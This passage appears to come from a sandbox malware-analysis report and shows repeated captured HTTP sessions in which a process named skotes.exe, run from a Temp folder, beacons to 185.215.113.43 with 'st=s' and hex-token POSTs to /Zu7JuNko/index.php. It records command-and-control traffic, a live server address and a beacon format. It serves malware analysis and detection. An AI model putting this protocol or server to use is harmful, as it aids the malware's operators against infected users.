Nov 16, 2024 19:23:53.723505020 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50225	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:55.374965906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:23:56.857337952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 16, 2024 19:23:56.857530117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 16, 2024 19:23:56.857625961 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50235	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:58.556688070 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:23:59.482140064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50242	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:01.169329882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:02.110349894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50247	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:03.630844116 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:04.551732063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50252	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:06.250648975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:07.151206017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50254	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:08.684170008 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:09.608895063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50256	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:11.684935093 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:12.586312056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50257	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:14.107369900 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:15.019654989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50258	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:16.652954102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:17.577658892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50259	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:19.091348886 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:19.983566999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50260	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:21.608727932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:22.522162914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50261	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:24.045523882 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:24.976284027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50265	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:26.606277943 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:27.509270906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50266	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:29.030426979 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:29.947385073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50268	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:31.576710939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:32.484409094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50269	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:33.998379946 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:34.918422937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50270	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:36.544548988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:37.450020075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50271	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:38.973510027 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:39.902585983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50273	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:41.529166937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50274	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:43.058855057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:44.002193928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50276	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:45.637403011 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:46.541469097 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50277	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:48.060142040 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:24:48.991107941 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50281	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:24:50.622749090 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:24:51.519263029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:24:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
